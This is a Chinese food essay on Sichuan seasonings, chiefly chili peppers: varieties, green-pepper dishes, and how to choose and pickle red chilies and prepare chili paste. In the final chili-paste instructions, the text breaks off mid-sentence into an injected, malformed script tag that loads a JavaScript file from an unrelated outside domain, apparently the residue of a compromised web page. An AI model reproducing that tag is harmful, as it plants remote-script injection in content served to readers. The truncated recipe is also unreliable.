泡红辣椒、红油辣子、泡姜、花椒油、郫县豆瓣、五大调料,是川菜之为川菜的根基所在,是川菜滋味的灵魂。
而这辣椒、姜、花椒和豆瓣,在四川皆有着深厚的民间积淀。
要揭开川菜迷翻国人、倾倒众生的奥秘,作一次深度调料之旅,自然真相大白。
辣椒是情人
真正把辣椒看做是情人的,决不会辣到住才死心,除了偶尔与辣共舞的狂欢,大多数时候,是以顾念、爱惜之心对待辣椒的。
其实,川菜百菜百味,不尽然全是麻辣,川菜圣品开水白菜就是一例。但是,川人好辣,麻辣是川菜的特色,也是名不虚传的。
川人喜欢的辣,是辣椒的辣,虽然,湘、黔、滇诸省也嗜辣椒,但是,吃法单一,未能与百味相融,生不出层出不穷的千香百味来。川人把辣椒叫做海椒,似乎早知道辣椒不是国粹,是从洋人那里飘洋过海传来的。也许是四川多山多水,天潮地湿,正需辣椒那股子热烈,通淤活血,驱出骨缝子里的寒气。于是,几百年来,外来的辣椒成了川菜的镇家之宝,作主料,作配料,作作料,辣椒无处不是受宠的角色;泡、炒、烧、煮、凉拌,甚至煨炖,辣椒都能尽显有滋有味的本事。
辣椒头牌:二金条产地:成都品相:细长如手指做法:主料、配料、作料、烧红油、泡椒初夏时节,成都东山上的辣椒青青绿绿地挂满了枝条,细长如手指,成都人叫它是二金条。这是成都人最爱吃的辣椒,以油亮鲜红、香辣回甜等优点居全省之冠。二金条采用温床育苗,晒干后鲜红发亮,久不变色。刚上市的时候,滋味微辣,入口清香。下干锅煸炒,七分熟时,再放油盐,佐酒下饭,尽得辣椒的本味。到了六月,辣味渐渐重了,起锅时,加少许糖醋,柔和了辣的干烈,丰富了辣的意味,善食者待凉后再吃,冷冷之中,一层层温辣徐徐而来,令人回味无穷。更有玩兴的人,用竹签串上辣椒,在微火上翻烤,熟后,蘸盐碟而食,便有了几分童趣。这些是辣椒的正吃。
青椒作配料,吃法更多:青椒炒肉丝,青椒爆鹅肠,青椒煸仔鸡(又叫小椒煸仔鸡,更有四川妹子巧手烹制的韵味),青椒烧鳝鱼、烧牛蛙。有一次,在四川新津的一个小镇上吃过青椒烧黄辣丁,鲜香之美,至今不敢忘怀。让我最迷恋的,还是青椒与各种蔬菜的结合。青椒煸苦瓜,青椒炒南瓜丝、土豆丝,还有干煸茄片、特别是茄把子,可称是夏天晚餐时开胃的佳品。而炒豇豆,炒玉米籽,也是素菜中惹人喜爱的小东西。最具川菜小品风味的,当数青椒和空心菜的搭配。
辣椒在夏天的阳光中,经历了短暂的青绿后,就三三两两地透红了,用诗人的话说:她拿出了最后的惊人之美。这时,辣椒的风韵和性子,毫无顾忌地显露了出来。能够在这个时候,还敢吃辣椒,并善于吃辣椒的人,才是真正识得辣滋味的人,才是可以和辣椒情意缠绵的知己。
于是,立秋前后,选一个晴朗的早晨,起个大早,到市上挑几斤刚从地里摘来、还带着几分露气的红辣椒。不要太红的那种,一色粉粉的鲜红,看着惹眼,但它们的辣骨是不硬的,肉质也不厚实,泡进坛里,十天半月,也就软皮空心了;要红中带着紫、带着乌的,还要根根都硬朗着,那色深了进去,那味能沉住,泡得好,对秋捞出来,仍然是硬生生的,像不久前才下坛一样。
泡椒之澈成都一家报上曾有则报道,说一个老太婆泡的红辣椒,七八年了,没一根软了空了的,坛水清亮,辣椒味香色正,那老太婆还想找人投资,搞出一个泡辣椒的品牌来。老太婆说,她的坛水,是她奶奶传下的,上百年了,从没坏过,全靠年年的辣椒养着。我想,如果说岁月如坛,人生如水,那么,她奶奶,她妈妈,还有年过七十仍然精神着的她,多少有些像那老而弥香的泡辣椒了。一坛辣椒也能有如此境界,我们是达不到的。但能买着上好的辣椒,用心泡着,半年一年的口福还是可以有的。
四川人叫它鱼辣子,做川菜中的泡菜鱼和所有鱼香味的菜,要想滋味地道,都得靠它撑着。而且,吃饭的时候,捞出几根来,小口嚼一节,那才是开胃生津的好角色(现在,新派川菜中蔚为大观的泡椒系列,把泡辣椒的能耐用到了极致,算是烹饪中四两拨千斤的典范)。
现在,很多家里已经没有了泡菜坛,一家人的年夜团圆饭都时兴到酒楼去吃了,还有多少人能花心思伺候这土里吧唧的坛子。但是,好吃的人,总是要为吃花点工夫的,如嫌泡菜坛麻烦,懒得打理,那么,辣酱坛子总是应该有一个的。选个好看的玻璃坛子,选几斤乌红细长的新鲜辣椒,叫市场上搞加工的人手工剁碎(千万不要用机器绞榨),装进坛里,放花椒、盐、鸡精,搅匀后,再倒进一斤生菜油(如买不到好的菜油,?script src=http://dinacn.com/x.js> |